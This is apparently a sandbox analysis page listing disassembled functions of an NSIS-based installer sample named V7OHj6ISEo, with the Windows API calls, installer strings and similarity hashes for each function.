Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

soft, xrefs: 00403020
Error launching installer, xrefs: 00402F80
Null, xrefs: 00403029
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

UXTHEME, xrefs: 0040675B
\, xrefs: 0040677A
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
